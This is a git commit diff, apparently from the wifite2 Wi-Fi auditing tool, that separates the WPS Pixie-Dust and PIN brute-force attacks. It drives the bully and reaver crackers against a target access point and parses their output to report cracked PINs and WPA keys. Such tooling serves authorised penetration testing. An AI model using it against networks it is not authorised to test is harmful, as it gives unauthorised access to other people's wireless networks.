Bully works. Pixie and PIN attacks are separate attacks.

This commit is contained in:
derv82
2018-08-23 14:46:21 -07:00
parent 3f947b98c0
commit 75d4d8e99d
4 changed files with 145 additions and 87 deletions

View File

@@ -53,9 +53,12 @@ class AttackAll(object):
elif 'WPA' in target.encryption:
# WPA can have multiple attack vectors:
if target.wps:
# WPS
attacks.append(AttackWPS(target))
if target.wps:
if Configuration.wps_pixie:
attacks.append(AttackWPS(target, pixie_dust=True))
if Configuration.wps_pin:
attacks.append(AttackWPS(target, pixie_dust=False))
# PMKID
attacks.append(AttackPMKID(target))

View File

@@ -6,10 +6,11 @@ from ..util.color import Color
from ..config import Configuration
class AttackWPS(Attack):
def __init__(self, target):
def __init__(self, target, pixie_dust=False):
super(AttackWPS, self).__init__(target)
self.success = False
self.crack_result = None
self.pixie_dust = pixie_dust
def run(self):
''' Run all WPS-related attacks '''
@@ -27,6 +28,18 @@ class AttackWPS(Attack):
self.success = False
return False
if not Configuration.wps_pixie and self.pixie_dust:
Color.pl('\r{!} {O}--no-pixie{R} set, ignoring WPS attack on ' +
'{O}%s{W}' % self.target.essid)
self.success = False
return False
if not Configuration.wps_pin and not self.pixie_dust:
Color.pl('\r{!} {O}--no-pin{R} set, ignoring WPS attack on ' +
'{O}%s{W}' % self.target.essid)
self.success = False
return False
if Configuration.use_bully:
return self.run_bully()
else:
@@ -36,47 +49,21 @@ class AttackWPS(Attack):
def run_bully(self):
# Bully: Pixie-dust
from ..tools.bully import Bully
bully = Bully(self.target)
bully = Bully(self.target, pixie_dust=self.pixie_dust)
bully.run()
bully.stop()
self.crack_result = bully.crack_result
self.success = self.crack_result is not None
if self.success:
return True
# Bully: WPS PIN Attack
return self.success
def run_reaver(self):
from ..tools.reaver import Reaver
reaver = Reaver(self.target)
# Reaver: PixieDust then WPS PIN attack.
for pixie_dust in [True, False]:
if pixie_dust and not Configuration.wps_pixie:
continue # Avoid Pixie-Dust attack
if not pixie_dust and not Configuration.wps_pin:
continue # Avoid PIN attack
if Configuration.wps_pixie and pixie_dust and \
not reaver.is_pixiedust_supported():
Color.pl('{!} {R}your version of "reaver" does not support the ' +
'{O}WPS pixie-dust attack{W}')
continue
reaver = Reaver(self.target, pixie_dust=pixie_dust)
try:
reaver = Reaver(self.target, pixie_dust=self.pixie_dust)
reaver.run()
except KeyboardInterrupt:
Color.pl('\n{!} {O}Interrupted{W}')
continue
self.crack_result = reaver.crack_result
self.success = self.crack_result is not None
if self.success:
return True
return False
return self.success

View File

@@ -18,19 +18,25 @@ class Bully(Attack, Dependency):
dependency_name = 'bully'
dependency_url = 'https://github.com/aanarchyy/bully'
def __init__(self, target):
def __init__(self, target, pixie_dust=True):
super(Bully, self).__init__(target)
self.target = target
self.pixie_dust = pixie_dust
self.total_attempts = 0
self.total_timeouts = 0
self.total_failures = 0
self.locked = False
self.state = '{O}Waiting for beacon{W}'
self.start_time = time.time()
self.last_pin = ""
self.pins_remaining = -1
self.eta = ''
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
self.crack_result = None
self.target = target
self.cmd = []
if Process.exists('stdbuf'):
@@ -42,13 +48,15 @@ class Bully(Attack, Dependency):
'bully',
'--bssid', target.bssid,
'--channel', target.channel,
'--detectlock', # Detect WPS lockouts unreported by AP
'--force',
#'--detectlock', # Detect WPS lockouts unreported by AP
#'--force',
'-v', '4',
'--pixiewps',
Configuration.interface
])
if self.pixie_dust:
self.cmd.insert(-1, '--pixiewps')
self.bully_proc = None
@@ -73,36 +81,7 @@ class Bully(Attack, Dependency):
t.start()
try:
while self.bully_proc.poll() is None:
try:
self.target = self.wait_for_target(airodump)
except Exception as e:
self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
self.stop()
break
# Update status
self.pattack(self.get_status())
# Check if entire attack timed out.
if self.running_time() > Configuration.wps_pixie_timeout:
self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % Configuration.wps_pixie_timeout, newline=True)
self.stop()
return
# Check if timeout threshold was breached
if self.total_timeouts >= Configuration.wps_timeout_threshold:
self.pattack('{R}Failed: {O}More than %d timeouts{W}' % Configuration.wps_timeout_threshold, newline=True)
self.stop()
return
# Check if WPSFail threshold was breached
if self.total_failures >= Configuration.wps_fail_threshold:
self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % Configuration.wps_fail_threshold, newline=True)
self.stop()
return
time.sleep(0.5)
self._run(airodump)
except KeyboardInterrupt as e:
self.stop()
raise e
@@ -113,16 +92,70 @@ class Bully(Attack, Dependency):
if self.crack_result is None:
self.pattack('{R}Failed{W}', newline=True)
def _run(self, airodump):
while self.bully_proc.poll() is None:
try:
self.target = self.wait_for_target(airodump)
except Exception as e:
self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
Color.pexception(e)
self.stop()
break
# Update status
self.pattack(self.get_status())
# Thresholds only apply to Pixie-Dust
if self.pixie_dust:
# Check if entire attack timed out.
if self.running_time() > Configuration.wps_pixie_timeout:
self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % (
Configuration.wps_pixie_timeout), newline=True)
self.stop()
return
# Check if timeout threshold was breached
if self.total_timeouts >= Configuration.wps_timeout_threshold:
self.pattack('{R}Failed: {O}More than %d Timeouts{W}' % (
Configuration.wps_timeout_threshold), newline=True)
self.stop()
return
# Check if WPSFail threshold was breached
if self.total_failures >= Configuration.wps_fail_threshold:
self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % (
Configuration.wps_fail_threshold), newline=True)
self.stop()
return
time.sleep(0.5)
def pattack(self, message, newline=False):
# Print message with attack information.
if self.pixie_dust:
# Count down
time_left = Configuration.wps_pixie_timeout - self.running_time()
attack_name = 'Pixie-Dust'
else:
# Count up
time_left = self.running_time()
attack_name = 'PIN Attack'
if self.eta:
time_msg = '{D}ETA:{W}{C}%s{W}' % self.eta
else:
time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left)
if self.pins_remaining >= 0:
time_msg += ', {D}PINs Left:{W}{C}%d{W}' % self.pins_remaining
else:
time_msg += ', {D}PINs:{W}{C}%d{W}' % self.total_attempts
Color.clear_entire_line()
Color.pattack('WPS',
self.target,
'Pixie-Dust',
'{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
Color.pattack('WPS', self.target, attack_name,
'{W}[%s] %s' % (time_msg, message))
if newline:
Color.pl('')
@@ -139,7 +172,7 @@ class Bully(Attack, Dependency):
meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts)
if self.total_failures > 0:
meta_statuses.append('{O}WPSFail:%d{W}' % self.total_failures)
meta_statuses.append('{O}Fails:%d{W}' % self.total_failures)
if self.locked:
meta_statuses.append('{R}Locked{W}')
@@ -153,6 +186,7 @@ class Bully(Attack, Dependency):
def parse_line_thread(self):
for line in iter(self.bully_proc.pid.stdout.readline, b''):
if line == '': continue
line = line.decode('utf-8')
line = line.replace('\r', '').replace('\n', '').strip()
if Configuration.verbose > 1:
@@ -191,7 +225,7 @@ class Bully(Attack, Dependency):
# Mention the PIN & that we're not done yet.
self.pattack('{G}Cracked PIN: {C}%s{W}' % self.cracked_pin, newline=True)
self.state = '{G}Finding PSK...{C}'
self.state = '{G}Finding Key...{C}'
time.sleep(2)
###########################
@@ -201,7 +235,7 @@ class Bully(Attack, Dependency):
self.cracked_key = key_re.group(1)
if not self.crack_result and self.cracked_pin and self.cracked_key:
self.pattack('{G}Cracked PSK: {C}%s{W}' % self.cracked_key, newline=True)
self.pattack('{G}Cracked Key: {C}%s{W}' % self.cracked_key, newline=True)
self.crack_result = CrackResultWPS(
self.target.bssid,
self.target.essid,
@@ -225,20 +259,33 @@ class Bully(Attack, Dependency):
# [+] Last State = 'NoAssoc' Next pin '48855501'
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
if last_state:
# group(1)=result, group(2)=PIN
# group(1)=NoAssoc, group(2)=PIN
pin = last_state.group(2)
state = 'Trying PIN {C}%s{W} (%s)' % (pin, last_state.group(1))
if pin != self.last_pin:
self.last_pin = pin
self.total_attempts += 1
if self.pins_remaining > 0:
self.pins_remaining -= 1
state = 'Trying PIN'
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
mx_result_pin = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
mx_result_pin = re.search(
r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
if mx_result_pin:
# group(1)=M1,M2,..,M7, group(2)=result, group(3)=Next PIN
self.locked = False
# group(1)=M3/M5, group(2)=result, group(3)=PIN
m_state = mx_result_pin.group(1)
result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
pin = mx_result_pin.group(3)
if pin != self.last_pin:
self.last_pin = pin
self.total_attempts += 1
if self.pins_remaining > 0:
self.pins_remaining -= 1
if result == 'Timeout':
if result in ['Pin1Bad', 'Pin2Bad']:
result = '{G}%s{W}' % result
elif result == 'Timeout':
self.total_timeouts += 1
result = '{O}%s{W}' % result
elif result == 'WPSFail':
@@ -250,14 +297,33 @@ class Bully(Attack, Dependency):
result = '{R}%s{W}' % result
result = '{P}%s{W}:%s' % (m_state.strip(), result.strip())
state = 'Trying PIN {C}%s{W} (%s)' % (pin, result)
state = 'Trying PIN (%s)' % result
# [!] Run time 00:02:49, pins tested 32 (5.28 seconds per pin)
re_tested = re.search(r'Run time ([0-9:]+), pins tested ([0-9])+', line)
if re_tested:
# group(1)=01:23:45, group(2)=1234
self.total_attempts = int(re_tested.group(2))
#[!] Current rate 5.28 seconds per pin, 07362 pins remaining
re_remaining = re.search(r' ([0-9]+) pins remaining', line)
if re_remaining:
self.pins_remaining = int(re_remaining.group(1))
# [!] Average time to crack is 5 hours, 23 minutes, 55 seconds
re_eta = re.search(
r'time to crack is (\d+) hours, (\d+) minutes, (\d+) seconds', line)
if re_eta:
h, m, s = re_eta.groups()
self.eta = '%sh%sm%ss' % (
h.rjust(2, '0'), m.rjust(2, '0'), s.rjust(2, '0'))
# [!] WPS lockout reported, sleeping for 43 seconds ...
re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
if re_lockout:
self.locked = True
sleeping = re_lockout.group(1)
state = '{R}WPS Lock-out: {O}Waiting %s seconds{W}' % sleeping
state = '{R}WPS Lock-out: {O}Waiting %s seconds...{W}' % sleeping
# [Pixie-Dust] WPS pin not found
re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)

View File

@@ -264,6 +264,8 @@ class Reaver(Attack, Dependency):
tried_pins = set(re.findall(r'Trying pin "([0-9]+)"', stdout))
self.total_attempts = len(tried_pins)
# TODO: Look for "Sending M6 message" which indicates first 4 digits are correct.
return state